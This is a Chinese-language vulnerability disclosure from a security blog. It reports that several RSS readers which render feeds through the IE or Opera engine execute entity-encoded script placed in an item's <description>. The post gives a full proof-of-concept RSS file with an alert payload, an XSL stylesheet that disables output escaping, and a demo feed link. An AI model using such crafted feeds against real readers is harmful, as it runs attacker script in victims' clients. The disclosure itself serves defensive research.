公布漏洞:多款RSS阅读器出现XSS漏洞

受影响系统:

调用以下内核解析RSS的RSS阅读器:

INTERNET EXPLORER ver<= IE7 (其他版本未经测试,估计也有)

OPERA ver <=9.52

以下阅读器出现漏洞:

新浪点点通1.1.0.8 目前最高

周博通4.0(28031409) 目前最高

遨游2.1.4.443(目前最高) RSS侧边栏

。。。不再一一列举。

不受影响系统:

GOOGLE的RSS reader,因为这个RSS阅读器没有调用IE的内核去解析<description>,而是自己解析后输出为html。

描述:


IE和OPERA对RSS中<item>下的<description>标签内容,解析过程如下:

首先使用HTML编码对内容解密(例:‘&lt;’解析为‘<’),之后执行其中HTML代码。

这种解析方式导致一些RSS阅读工具对此过滤不严,出现XSS漏洞。

<*来源:kxlzx (kxlzx@xiaotou.org)  http://www.inbreak.net/   *>

测试方法:


 

 

在<description>标签的内容中输入HTML编码后的JS代码,例如:

 

rss.xml代码
  1. <?xml version="1.0" encoding="utf-8"?><?xml-stylesheet href=‘kxlzx.xsl’ type=‘text/xsl’ ?>  
  2. <rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/"  
  3.     xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:content="http://purl.org/rss/1.0/modules/content/"  
  4.     xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"  
  5.     version="2.0">  
  6.     <channel>  
  7.         <update>Mon, 26 Oct 2008 10:36:52 +0800</update>  
  8.         <title>hacked by kxlzx</title>  
  9.         <description>hacked by kxlzx</description>  
  10.         <item>  
  11.         <title>hacked by kxlzx title</title>  
  12.         <author xmlns="http://www.w3.org/2005/Atom">  
  13.             <name>test all</name>  
  14.         </author>  
  15.         <id xmlns="http://www.w3.org/2005/Atom">http://www.inbreak.net/</id>  
  16.         <description>&lt;script&gt;alert(‘xss’);&lt;/script&gt;</description>  
  17.         <pubDate>Mon, 27 Oct 2008 09:34:54 +0800</pubDate>  
  18.         </item>  
  19.     </channel>  
  20. </rss>  

 

kxlzx.xsl代码
  1. <?xml version="1.0" encoding="UTF-8"?>  
  2. <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">  
  3.     <xsl:output method="html" indent="yes" doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" doctype-public="-//W3C//DTD XHTML 1.0 Transitional//EN"/>  
  4.     <xsl:variable name="title" select="/rss/channel/title"/>  
  5.     <xsl:variable name="feedUrl" select="/rss/channel/atom:link[@ref=’self’]/@href" xmlns:atom="http://www.w3.org/2005/Atom"/>  
  6.     <xsl:variable name="srclink" select="/rss/channel/link"/>  
  7.     <xsl:template match="/">  
  8.         <html>  
  9.             <head>  
  10.                 <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>  
  11.             </head>  
  12.             <xsl:apply-templates select="rss/channel"/>  
  13.         </html>  
  14.     </xsl:template>  
  15.     <xsl:template match="channel">  
  16.         <body>  
  17.                
  18. <div id="wrapper">  
  19. <div id="content">  
  20. <xsl:apply-templates select="image"/>  
  21. <h1><a href="{link}" style="color:#94B3C5;"><xsl:value-of select="$title"/></a></h1>  
  22.                 
  23.     <p id="desc"><xsl:value-of select="description" disable-output-escaping="yes"/></p>  
  24.   
  25. <ul id="item" class="item">  
  26. <xsl:apply-templates select="item"/>  
  27. </ul>  
  28. </div>             
  29. </div>  
  30.   
  31. </body>  
  32.     </xsl:template>  
  33.     <xsl:template match="item">  
  34.                    
  35.         <li>  
  36. <h2><a href="{link}"><xsl:value-of select="title"/></a></h2>  
  37. <span class="date"> <xsl:value-of select="pubDate"/></span>  
  38.                
  39.     <p name="decodeable" class="itemcontent"><xsl:call-template name="outputContent"/></p>  
  40.   
  41.  <xsl:if test="count(child::enclosure)=1">  
  42.                 <dd>  
  43.                     <a href="{enclosure/@url}">  
  44.                         <img src="http://www.feedsky.com/images/listen.gif" style="vertical-align: middle; padding-left: 4px;"/>  
  45.                     </a>  
  46.                 </dd>  
  47.             </xsl:if>  
  48.   
  49. </li>  
  50.            
  51.     </xsl:template>  
  52.     <xsl:template match="image">  
  53.         <xsl:element name="img" namespace="http://www.w3.org/1999/xhtml">  
  54.             <xsl:attribute name="src"><xsl:value-of select="url"/></xsl:attribute>  
  55.             <xsl:attribute name="alt">  
  56.                 Link to <xsl:value-of select="title"/></xsl:attribute>  
  57.             <xsl:attribute name="id">feedimage</xsl:attribute>  
  58.         </xsl:element>  
  59.         <xsl:text> </xsl:text>  
  60.     </xsl:template>  
  61.     <xsl:template match="feedsky:browserFriendly" xmlns:feedsky="http://namespace.org/feedsky/ext/1.0">  
  62.         <p id="ownerblurb" xmlns="http://www.w3.org/1999/xhtml">  
  63.             <em>A message from the feed publisher:</em>  
  64.             <xsl:text> </xsl:text>  
  65.             <xsl:apply-templates/>  
  66.         </p>  
  67.     </xsl:template>  
  68.     <xsl:template name="outputContent">  
  69.         <xsl:choose>  
  70.             <xsl:when test="xhtml:body" xmlns:xhtml="http://www.w3.org/1999/xhtml">  
  71.                 <xsl:copy-of select="xhtml:body/*"/>  
  72.             </xsl:when>  
  73.             <xsl:when test="xhtml:div" xmlns:xhtml="http://www.w3.org/1999/xhtml">  
  74.                 <xsl:copy-of select="xhtml:div"/>  
  75.             </xsl:when>  
  76.             <xsl:when test="content:encoded" xmlns:content="http://purl.org/rss/1.0/modules/content/">  
  77.                 <xsl:value-of select="content:encoded" disable-output-escaping="yes"/>  
  78.             </xsl:when>  
  79.             <xsl:when test="description">  
  80.                 <xsl:value-of select="description" disable-output-escaping="yes"/>  
  81.             </xsl:when>  
  82.         </xsl:choose>  
  83.     </xsl:template>  
  84. </xsl:stylesheet>  

演示地址:

http://www.inbreak.net/kxlzxtest/rss8.xml

使用RSS阅读器订阅此地址。

建议:


没啥建议,祈祷RSS阅读器厂商升级好了。

链接:http://www.inbreak.net/?action=show&id=132

 

发表评论?

0 条评论。

发表评论